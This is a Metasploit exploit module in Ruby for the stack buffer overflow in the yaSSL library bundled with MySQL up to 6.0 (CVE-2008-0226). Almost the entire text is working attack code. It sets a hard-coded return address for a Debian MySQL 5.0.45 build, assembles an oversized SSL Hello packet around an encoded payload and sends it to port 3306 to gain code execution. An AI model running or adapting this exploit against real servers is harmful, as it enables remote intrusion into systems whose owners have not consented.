MySQL yaSSL (Linux) – SSL Hello Message Buffer Overflow (Metasploit)
## # $Id: mysql_yassl_hello.rb 9262 2010-05-09 17:45:00Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'MySQL yaSSL SSL Hello Message Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in the yaSSL (1.7.5 and earlier) implementation bundled with MySQL <= 6.0. By sending a specially crafted Hello packet, an attacker may be able to execute arbitrary code. }, 'Author' => [ 'MC' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 9262 $', 'References' => [ [ 'CVE', '2008-0226' ], [ 'OSVDB', '41195' ], [ 'BID', '27140' ], ], 'Privileged' => false, 'Payload' => { 'Space' => 100, 'BadChars' => "\x00\x20\x0a\x0d\x2f\x2b\x0b\x5c", }, 'Platform' => 'linux', 'Targets' => [ [ 'MySQL 5.0.45-Debian_1ubuntu3.1-log', { 'Ret' => 0x085967fb } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jan 4 2008')) register_options( [ Opt::RPORT(3306) ], self.class) end def exploit connect sock.get_once req_uno = [0x01000020].pack('V') req_dos = [0x00008daa].pack('V') + [0x40000000].pack('V') req_dos << [0x00000008].pack('V') + [0x00000000].pack('V') req_dos << [0x00000000].pack('V') + [0x00000000].pack('V') req_dos << [0x00000000].pack('V') + [0x00000000].pack('V') req_dos << [0x03010000].pack('V') + [0x00000001].pack('V') req_dos << "\x00\x0F\xFF" + rand_text_alphanumeric(3965) req_dos << [target.ret].pack('V') + payload.encoded req_dos << rand_text_alphanumeric(1024) print_status("Trying target #{target.name}...") sock.put(req_uno) sock.put(req_dos) handler disconnect end end |